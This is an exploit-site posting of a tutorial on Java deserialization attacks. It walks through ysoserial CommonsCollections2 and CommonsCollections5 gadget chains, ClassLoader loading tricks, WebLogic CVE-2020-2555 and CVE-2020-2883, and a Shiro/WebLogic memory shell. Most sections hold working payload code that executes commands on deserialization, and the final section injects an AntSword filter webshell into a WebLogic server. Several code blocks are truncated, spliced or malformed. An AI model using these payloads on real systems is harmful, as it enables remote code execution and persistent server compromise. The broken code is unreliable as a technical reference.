Sploitus

Exploit for CVE-2020-2883 CVE-2020-2555 CVE-2020-2883

githubexploit · 2020-08-19

Exploit Code

README1180 lines
## https://sploitus.com/exploit?id=AE10BD2D-66B3-5C55-9296-FA884BA0CA27
# Java Serialization and Deserialization Techniques

This presentation covers the following topics:

1. Basics of Java serialization and deserialization
2. Why vulnerabilities can occur during deserialization?
3. Java reflection
4. ysoserial, CommonsCollections2, CommonsCollections5
5. Methods for loading classes using Java ClassLoader
6. WebLogic CVE-2020-2555, CVE-2020-2883, RCE
7. Shiro-550 rememberMe vulnerability due to hardcoded deserialization
8. WebLogic + Shiro: deserialization-based one-click registration filter memory shell

## Basics of Java Serialization and Deserialization

> Java serialization refers to the process of converting Java objects into byte sequences for storage in memory, files, or databases. The `writeObject()` method of the `ObjectOutputStream` class is used for serialization, converting Java objects into byte sequences.
> Java deserialization refers to the process of converting byte sequences back into Java objects. The `readObject()` method of the `ObjectInputStream` class is used for deserialization. Here’s a simple example: `SerializeAndDeserialize`. **Note: Focus on the type casting in the code.**

```java
package org.chabug.demo;

import org.chabug.entity.Dog;
import org.chabug.entity.Person;
import org.chabug.util.Serializables;

/*
This example demonstrates that any class that implements the Serializable interface can be serialized. Also, several built-in Java data types can be serialized because they inherit from the Object class.
】

public class SerializeAndDeserialize {

 public static void main(String[] args) throws Exception {
 byte[] bytes;
 String s1 = "I'm a String Object....";
 bytes = Serializables.serializeToBytes(s1);
 Object o1 = Serializables.deserializeFromBytes(bytes);
 System.out.println(o1);

 String[] s2 = new String[]{"tom", "bob", "jack"};
 bytes = Serializables.serializeToBytes(s2);
 String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
 System.out.println(o2);

 int i = 123;
 bytes = Serializables.serializeToBytes(i);
 int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
 System.out.println(o3);

 // A dog named wody
 Dog dog = new Dog();
 dog.setName("woody");

 // tom
 Person tom = new Person();
 tom.setAge(14);
 tom.setName("tom");
 tom.setSex("male");
 tom.setDog(dog);

 bytes = Serializables.serializeToBytes(tom);
 Person o = (Person) Serializables.deserializeFromBytes(bytes);
 System.out.println(o);

 }
}
```

Built-in Java data types like String, Integer, arrays, and Object objects can be serialized. Our own classes like Person and Dog only need to implement the Serializable interface to enable serialization and deserialization.

## Why Vulnerabilities Occur During Deserialization?

Let’s look at some code. There’s a malicious entity class called EvilClass:

```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
 String name;

 public EvilClass() {
 System.out.println(this.getClass() + "'s EvilsClass() constructor method was called!!!!!!");
 }

 public EvilClass(String name) {
 System.out.println(this.getClass() + "'s EvilClass(String name) constructor method was called!!!!!!");
 this.name = name;
 }

 public String getName() {
 System.out.println(this.getClass() + "'s getName method was called!!!!!!");
 return name;
 }

 public void setName(String name) {
 System.out.println(this.getClass() + "'s setName method was called!!!!!!");
 this.name = name;
 }

 @Override
 public String toString() {
 System.out.println(this.getClass() + "'s toString() method was called!!!!!!");
 return "EvilClass{" +
 "name='" + getName() + '\'' +
 '}';
 }

 private void readObject(ObjectInputStream in) throws Exception {
 // Execute the default readObject() method
 in.defaultReadObject();
 System.out.println(this.getClass() + "'s readObject() method was called!!!!!!");
 Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
 }
}
```

In its readObject method, there’s a line that executes a command: `Runtime.getRuntime().exec(new String[]{"cmd", "/c", name})`. The parameter “name” represents the command to be executed.

So, we can create a malicious object by setting its `name` property to the command to be executed. When deserialization triggers the `readObject` method, a RCE vulnerability will occur. Here’s an example:

```java
package org.chabug.demo;

import org.chabug.entity.EvilClass;
import org.chabug.util.Serializables;

public class EvilSerialize {
 public static void main(String[] args) throws Exception {
 EvilClass evilObj = new EvilClass();
 evilObj.setName("calc");
 byte[] bytes = Serializables.serializeToBytes(evilObj);
 EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes);
 System.out.println(o);
 }
}
```

Now we know how deserialization can lead to a RCE vulnerability. However, it’s not possible to write code like this directly during development. Therefore, we need to identify the “gadget chain” that exploits this vulnerability. A deserialization vulnerability requires three things:

1. A point of entry for deserialization.
2. A target method.
3. A gadget chain.

Looking carefully at the output in the above example, it seems that not only the `readObject` method was triggered, but also the `toString()` method, as well as other methods like `set`, `get`. So, when identifying the gadget chain, we need to pay attention not only to the `readObject()` method. Now, we need to understand **reflection**. As mentioned earlier, there’s an issue with **type casting** in deserialization. In actual development, the `readObject` method will perform logical processing. When the specific data type of the object passed in is unknown, reflection will be used to determine which method to call. And reflection is a crucial tool for achieving RCE vulnerabilities.

## Java Reflection

What is reflection? The word “reflection” contains the character “”. To explain reflection, we need to start with “” – looking at the code. This is my entity class:

```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
 String name;

 public ReflectionClass(String name) {
 this.name = name;
 }

 public ReflectionClass() {
 }

 public String say() {
 return this.name;
 }

 private void evil(String cmd) {
 try {
 Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
 } catch (IOException e) {
 e.printStackTrace();
 }
 }

 @Override
 public String toString() {
 return "ReflectionClass{" +
 "name='" + name + '\'' +
 '}';
 }

 public String getName() {
 return name;
 }

 public void setName(String name) {
 this.name = name;
 }
}
```

A normal way of writing this code would be:

```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo {
 public static void main(String[] args) {
 ReflectionClass demo = new ReflectionClass();
 demo.setName("hello");
 System.out.println(demo.say());
 demo.evil("calc"); // This method cannot be called
 }
}
```

It’s simple: we create an instance of `ReflectionClass` using `new()`, and then call its methods through that instance. This is what we call “”. But what if we don’t know the class name when creating the instance? How do we call methods protected by private access? That’s where reflection comes in. Let’s look at the following code:

```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
 public static void main(String[] args) throws Exception {
 // Creating an instance using new()
 Class aClass = Class.forName("org.chabug.entity.ReflectionClass");
 Object o = aClass.newInstance();

 // Calling setName("jack")
 Method setName = aClass.getDeclaredMethod("setName", String.class);
 setName.invoke(o, "jack");

 // Calling say()
 Method say = aClass.getDeclaredMethod("say", null);
 Object o1 = say.invoke(o, null);
 System.out.println(o1);

 // Calling evil("calc")
 // Reflection can modify method modifiers to call private methods
 Method evil = aClass.getDeclaredMethod("evil", String.class);
 evil.setAccessible(true);
 evil.invoke(o, "calc");
 }
}
```

We don’t need to know the class name in advance. We just need to use the `org.chabug.entity.ReflectionClass` class and modify it by passing parameters. We can also use `setAccessible()` to access private methods or fields. Next, let’s focus on the vulnerability and understand how reflection plays a role in deserialization, as well as how to uncover the deserialization chain.

## ysoserial – CommonsCollections2, CommonsCollections5

YSoserial is a tool for generating Java deserialization exploits. It inherits some common exploits, such as those from CommonsCollections. This time, we’ll analyze CC2 and CC5 chains. We’re analyzing these two chains because CC2 uses bytecode manipulation, while CC5 helps us understand reflection and chained calls better.

Let’s first look at the more easily understandable CC5 chain. ### CommonsCollections5

The bug occurs in `org.apache.commons.collections.functors.InvokerTransformer#transform`.

```java
public Object transform(Object input) {
 if (input == null) {
 return null;
 } else {
 try {
 Class cls = input.getClass();
 Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
 return method.invoke(input, this.iArgs);
 } catch (NoSuchMethodException var5) {
 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
 } catch (IllegalAccessException var6) {
 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on'" + input.getClass() + "' cannot be accessed");
 } catch (InvocationTargetException var7) {
 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on'" + input.getClass() + "' threw an exception", var7);
 }
 }
}
```

Comparing with the code from the reflection section, it’s clear that this is a reflection-based approach. In terms of code, it looks like:

`input.iMethodName(iArgs);`

`this.iMethodName`, `this.iParamTypes`, and `this.iArgs` are all controllable within the constructor. This allows calling any method on the `input` object, with any parameters passed along. 

```java
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
 this.iMethodName = methodName;
 this.iParamTypes = paramTypes;
 this.iArgs = args;
}
```

Here’s an example of how to execute a command:

```java
package org.chabugdemo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
 public static void main(String[] args) throws Exception {
 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
 invokerTransformer.transform(Runtime.getRuntime());
 }
}
```

Since the `Runtime` class is a singleton, we need to obtain the `Runtime` object using `getRuntime()`. After passing it to `transform()`, the calculator will be executed.![image-20200822135700699](Java.assets/image-20200822135700699.png)

But we know that during deserialization, only `readObject()` will be automatically executed. If we directly construct the `InvokerTransformer` object at this time, we still need to address two issues:

1. Automatically executing `Runtime.getRuntime()`.
2. Automatically executing `invokerTransformer.transform()`.

Let’s solve the first issue first. In `org.apache.commons.collections.functors.ChainedTransformer#transform`, chained calls can be implemented:

```java
public Object transform(Object object) {
 for(int i = 0; i transform()
```

At this point, we need to figure out where the `map.get()` method is called. It’s in `org.apache.commons.collections.keyvalue.TiedMapEntry#getValue`.

```java
private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
 this.map = map;
 this.key = key;
}
public Object getKey() {
 return this.key;
}
public Object getValue() {
 return this.map.get(this.key);
}
public String toString() {
 return this.getKey() + "=" + this.getValue();
}
```

`getValue()` calls `map.get()`. We can also control `this.key`. `toString()` calls `this.getValue()`. Now, let’s continue with the construction:

```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()
```

So, the problem now is how to trigger `readObject()` to automatically execute `toString()`. This is simple: among the built-in classes in the JDK, there’s a `BadAttributeValueExpException` exception class. Its `readObject()` method executes `toString()`.

```java
public BadAttributeValueExpException (Object val) {
 this.val = val == null? null: val.toString();
}
public String toString() {
 return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { }
```

`ObjectInputStream.GetField gf = ois.readFields();`
 `Object valObj = gf.get("val", null);`

 `if (valObj == null) {
 val = null;
 } else if (valObj instanceof String) {
 val = valObj;
 } else if (System.getSecurityManager() == null
 || valObj instanceof Long
 || valObj instanceof Integer
 || valObj instanceof Float
 || valObj instanceof Double
 || valObj instanceof Byte
 || valObj instanceof Short
 || valObj instanceof Boolean) {
 val = valObj.toString();
 } else { // The serialized object comes from a version without the JDK-8019292 fix
 val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
 }
》

Because `System.getSecurityManager()` defaults to `null`, this triggers `val = valObj.toString()`. This leads to the use of `TiedMapEntry.toString()`, and ultimately the payload:

`package org.chabug.demo;`

`import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
 public static void main(String[] args) throws Exception {
 // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
 Transformer[] transformers = new Transformer[]{
 // Invoking the Runtime class
 new ConstantTransformer(Runtime.class),
 // Using the reflection method getMethod to call Runtime.getRuntime()
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0])),
 // Invoking the execute() method
 new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
 };
 Transformer chain = new ChainedTransformer(transformers);
 // chain.transform(null);
 HashMap hashMap = new HashMap();
 Map map = LazyMap.decorate(hashMap, chain);
 // map.get("asd");
 TiedMapEntry key = new TiedMapEntry(map, "key");
 // key.toString();

 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
 Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
 field.setAccessible(true);
 field.set(badAttributeValueExpException, key);

 byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
 Serializables.deserializeFromBytes(bytes);
 }
}

It should be noted that when declaring the `BadAttributeValueExpException` object, the entry parameter is not passed directly. Instead, reflection is used for assignment. Since the constructor of `BadAttributeValueExpException` checks if the object is empty, if it is not, `toString()` will be executed during serialization. However, during deserialization, since the entered object is already a string, the `toString()` method will not be triggered. Summary: By effectively using reflection and chained calls, an RCE vulnerability can be exploited successfully.
```
/*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
	Requires:
		commons-collections
 */
### CommonsCollections2

Before introducing CC2, it’s necessary to understand Java bytecode. All Java code needs to be compiled into class bytecode files for the JVM to execute. Bytecode is more like a low-level language, with poor readability, but there are many excellent libraries available for manipulating, modifying, and editing bytecode to facilitate programming, such as asm, cglib, and javassist. The javassist library is used in the ysoserial tool. Let’s first look at how the payload of cc2 in ysoserial is written.
```java
public Queue getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // Mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // Create a queue with numbers and a basic comparator
    final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer));
    // Stub data for replacement later
    queue.add(1);
    queue.add(1);

    // Method called by the comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // Change the contents of the queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}
```

Let’s first look at the first line in the code, `Gadgets.createTemplatesImpl(command)`.

```java
public static Object createTemplatesImpl(final String command) throws Exception {
    if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
        return createTemplatesImpl(command,
        TemplatesImpl.class,
        AbstractTranslet.class,
        TransformerFactoryImpl.class);
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
```

The class `org.apache.xalan.xsltc.trax.TemplatesImpl` is mentioned here. We need to look at two lines of code first.

```java
package org.chabugdemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}
```

Why does the calculator appear? Let’s delve into `createTemplatesImpl()`.

```java
public static Object createTemplatesImpl(final String command) throws Exception {
    if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
        return createTemplatesImpl(
            command,
```

```java
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

public static T createTemplatesImpl(final String command, Class tplClass, Class abstTranslet, Class transFactory) throws Exception {
    final T templates = tplClass.newInstance();

    // Use the template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // Execute the command in the static initializer
    // TODO: You can also perform other actions, such as injecting a pure-Java mechanism to bypass security protections
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\") + "\");";
    clazz.makeClassInitializer().insertAfter(cmd);
    // Randomize the name to allow repeated exploitation (be aware of PermGen exhaustion issues)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);

    final byte[] classBytes = clazz.toBytecode();

    // Inject the class bytecode into the instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});

    // This is necessary to properly implement TemplatesImpl
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

    return templates;
}
```

The above code does the following:

1. Instantiates a `org.apache.xalan.xsltc.trax.TemplatesImpl` object called `templates`; its `_bytecodes` field can store bytecode.
2. Creates a `StubTransletPayload` class that inherits from `AbstractTranslet` and implements the `Serializable` interface.
3. Obtains the bytecode of `StubTransletPayload` and uses javassist to insert it into the bytecode of `templates` (to execute the `Runtime.exec` command).
4. Uses reflection to set the `_bytecodes` field of `templates` to contain the bytecode used for command execution.

In essence, it implements a subclass of `org.apache.xalan.xsltc.trax.TemplatesImpl`, then inserts its malicious bytecode into the `_bytecodes` field of `templates`. It then checks whether a new `Transformer` is created.

```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException {
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, transFactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}
```

It calls `getTransletInstance()`, and then proceeds with the following steps:

```java
private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to maintain a reference to all its auxiliary classes
        // to prevent the GC from garbageifying them
        AbstractTranslet translet = (AbstractTranslet)
            _class[_transletIndex].getConstructor().newInstance();
        translet.postInitialization();
    }
}
```

`translet.setTemplates(this);`  
`translet.setOverrideDefaultParser(_overrideDefaultParser);`  
`translet.setAllowedProtocols(_accessExternalStylesheet);`  
`if (_auxClasses != null) {  
    translet.setAuxiliaryClasses(_auxClasses);  
}`

`return translet;`  
`catch (InstantiationException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {  
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
    throw new TransformerConfigurationException(err.toString(), e);  
}`

The following line creates an instance based on the class defined in the bytecode. Since the static block in that class contains `Runtime.exec`, it results in RCE.  
`AbstractTranslet translet = (AbstractTranslet)(_class[_transletIndex].getConstructor().newInstance());`

So, we need to find a class that calls `template.newTransformer()` in `readObject`. That class is `PriorityQueue`.  

`PriorityQueue` is a unbounded priority queue based on priorities. Elements in a priority queue are sorted according to their natural order, or according to the Comparator provided when the queue was created, depending on the constructor used. Check its `readObject()` method.  

`private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {  
    // Read the size and any hidden data  
    s.defaultReadObject();  

    // Read the array length  
    s.readInt();  

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);  
    queue = new Object[size];  

    // Read all elements. For (int i = 0; i >> 1) – 1; i >= 0; i–)  
        siftDown(i, (E) queue[i]); // Sort them  
}  
private void siftDown(int k, E x) {  
    if (comparator != null)  
        siftDownUsingComparator(k, x); // Use if a comparator is specified  
    else  
        siftDownComparable(k, x); // Use the default natural comparator if none is specified  
}  
private void siftDownUsingComparator(int k, E x) {  
    int half = size >>> 1;  
    While (k 0)  
        c = queue[child = right];  
        If (comparator.compare(x, (E) c)  key = (Comparable)x;  
    int half = size >>> 1;        // Loop until a non-leaf element  
    While (k ) c).compareTo((E) queue[right]) > 0)  
        c = queue[child = right];  
        If (key.compareTo((E) c)  comparator;  
}  

Looking at its inheritance hierarchy, we find that the `TransformingComparator` class in the CC package implements the `Comparator` interface.  

`TransformingComparator`’s `compare()` method:  
`public int compare(I obj1, I obj2) {  
    O value1 = this.transformer.transform(obj1);  
    O value2 = this.transformer.transform(obj2);  
    return this.decorated.compare(value1, value2);  
}`  

Hey, isn’t this exactly the reflection call of the `transform` method from before? The `this.transformer` carries the `InvokerTransformer` class. The reflection call of `newTransformer()` directly leads to RCE.  

**Constructing the payload:**  
`public Queue getObject(final String command) throws Exception {  
    final Object templates = Gadgets.createTemplatesImpl(command);  
    // Mock the method name until the actual method is called  
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);  

    // Create a queue with numbers and a basic comparator  
    final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer));  
    // Stub data for later replacement  
    queue.add(1);  
    queue.add(1);  

    // Switch the method called by the comparator  
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");  

    // Switch the contents of the queue  
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");  
    queueArray[0] = templates;  
}

queueArray[1] = 1;

    return queue;
}
```

One point of confusion is in the line `new InvokerTransformer("toString", new Class[0], new Object[0])`. Why is `toString` used first, and then the method is modified using reflection to become `newTransformer`? If `newTransformer` is used directly for serialization, an error will occur: “The method ‘newTransformer’ on ‘class java.lang.Integer’ does not exist”. Therefore, ysoserial uses a clever approach where `toString` is used to convert the string “1” into a number, and then the method is modified using reflection. Summary:

```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ... TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()
 */
```

### Two types of chains

CC2 exploits the RCE vulnerability through malicious bytecode initialization using the TemplatesImpl class. CC5 achieves RCE by using chained calls via reflection. But essentially, both are still reflections. By modifying one chain, another type of chain can be created. ```java
package org.chabug.demo;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class MyCC {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                // Use Reflection to call Runtime.getRuntime() via getMethod()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // Call invoke() to call Runtime.getRuntime().invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // Call exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);

        Class clazz = ChainedTransformer.class;
        Field iTransformers = clazz.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);

        Transformer[] transformers1 = new Transformer[]{
                new InvokerTransformer("toString", new Class[]{}, new Object[]{})
        };
        ChainedTransformer chain1 = new ChainedTransformer(transformers1);

        final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain1));
        queue.add("1");
        queue.add("1");
        iTransformers.set(chain1, transformers);

        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = 1;


        byte[] bytes = Serializables.serializeToBytes(queue);
        Serializables.deserializeFromBytes(bytes);
    }
}
```

In essence, it combines the first part of CC5 with the second part of CC2. CC5 uses chained calls to execute commands, while CC2 triggers the `toString` method. ## Methods for Java ClassLoaders to load classes

Java is a compiled language, so all Java code needs to be compiled into bytecode before being executed by the JVM. When a Java class is initialized, the `java.lang.ClassLoader` is called to load the class bytecode. The ClassLoader class is an abstract class that cannot be used directly. There are several concrete implementations in the JDK, such as DefiningClassLoader, BCEL ClassLoader, GroovyClassLoader, URLClassLoader, and org.python.core.BytecodeLoader in Jython’s PythonInterpreter. It’s also possible to implement a custom ClassLoader. This article focuses on three methods: URLClassLoader, BytecodeLoader, and custom ClassLoaders for loading classes from bytecode.
### URLClassLoader

```java
package org.chabug.loader;

import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderDemo {
 public static void main(String[] args) throws Exception {
 // URL url = new URL("https://baidu.com/cmd.jar"); // Can also load remote jars
 URL url = new URL("file:///d:/calc.jar");

 // Create a URLClassLoader object and load the remote jar package
 URLClassLoader ucl = new URLClassLoader(new URL[]{url});

 // Load the jar package using URLClassLoader
 Class aClass = ucl.loadClass("org.chabug.demo.Calc");
 aClass.newInstance();
 }
}
```

The command to create a jar package is `jar cvf calc.jar Calc.class`. Malicious code is written directly in the static code block, and the `newInstance()` method will execute it automatically.![image-20200822163304144](Java.assets/image-20200822163304144.png)

The calculator is successfully displayed.![image-20200822163450161](Java.assets/image-20200822163450161.png)

### BytecodeLoader

```java
package org.chabug.loader;

import org.python.util.PythonInterpreter;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;

public class BytecodeLoaderLoader {
 public static void main(String[] args) throws Exception {
 String className = "org.chabug.demo.Calc";
 byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");
 String classBytes = "";
 for (byte b: bytes) {
 classBytes += String.format("%s%s", b, "");
 }
 String s = String.format("from org.python.core import BytecodeLoader;\n"
 + "from jarray import array\n"
 + "myList = [%s]\n"
 + "bb = array(myList, 'b')\n"
 + "BytecodeLoader.makeClass(\"%s\", None, bb).getConstructor([]).newInstance([]);", classBytes, className);
 PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance();
 instance.exec(s);
 }

 public static byte[] getBytesByFile(String pathStr) {
 File file = new File(pathStr);
 try {
 FileInputStream fis = new FileInputStream(file);
 ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
 byte[] b = new byte[1000];
 int n;
 while ((n = fis.read(b))!= -1) {
 bos.write(b, 0, n);
 }
 fis.close();
 byte[] data = bos.toByteArray();
 bos.close();
 return data;
 } catch (Exception e) {
 e.printStackTrace();
 }
 return null;
 }
}
```

### Custom URLClassLoader![image-20200822173106095](Java.assets/image-20200822173106095.png)

```java
package org.chabug.loader;

import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;

public class MyLoader extends ClassLoader {
 public static String className = "org.chabug.demo.Calc";
 public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");

 public static void main(String[] args) throws Exception {
 new MyLoader().loadClass(className).newInstance();
 }

 @Override
 public Class findClass(String name) throws ClassNotFoundException {
 // Only handle the TestHelloWorld class
 if (name.equals(className)) {
 // Call the JVM’s native method to define the TestHelloWorld class
 return defineClass(className, bytes, 0, bytes.length);
 }

 return super.findClass(name);
 }
}
```

## WebLogic CVE-2020-2555, CVE-2020-2883, RCE

These vulnerabilities have a similar format to the CC chain, but the gadgets’ constructions are different. Let’s first look at the earliest disclosed CVE-2020-2555.

### CVE-2020-2555

The issue lies with `com.tangosol.util.extractor.ReflectionExtractor#extract`.

```java
public Object extract(Object oTarget) {
 if (oTarget == null) {
 return null;
 } else {
 Class clz = oTarget.getClass();

 try {
 Method method = this.m_methodPrev;
 if (method == null || method.getDeclaringClass()!= clz) {
 this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
 }
 return method.invoke(oTarget, this.m_aoParam);
 } catch (NullPointerException var4) {
 throw new RuntimeException(this.suggestExtractFailureCause(clz));
 } catch (Exception var5) {
 throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
 }
 }
}
```

It’s very similar to the `transform()` method in the CC chain. Therefore, we also need to find a class that corresponds to `ChainedTransformer`.

```java
public E extract(Object oTarget) {
 ValueExtractor[] aExtractor = this.getExtractors();
 int i = 0;

 for(int c = aExtractor.length; i < aExtractor.length; i++) {
 Thread executeThread = Class.forName("weblogic.work.ExecuteThread");
 Method m = executeThread.getDeclaredMethod("getCurrentWork");
 Object currentWork = m.invoke(Thread.currentThread());

 Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
 connectionHandlerF.setAccessible(true);
 Object obj = connectionHandlerF.get(currentWork);

 Field requestF = obj.getClass().getDeclaredField("request");
 requestF.setAccessible(true);
 Object obj = requestF.get(obj);

 Field contextF = obj.getClass().getDeclaredField("context");
 contextF.setAccessible(true);
 Object context = contextF.get(obj);
 }
}
```

```java
fieldClassLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);

fieldCachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);

Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "shell") == null) {
 byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");
 Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
 defineClass.setAccessible(true);
 Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

 String evilName = "gameName" + System.currentTimeMillis();
 String filterName = "gameFilter" + System.currentTimeMillis();
 String[] url = new String[]{"/*"};

 Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
 putM.invoke(cachedClass, filterName, evilFilterClass);
 Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
 Object filterManager = getFilterManagerM.invoke(context);

 Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
 registerFilterM.setAccessible(true);
 registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
}
```
```java
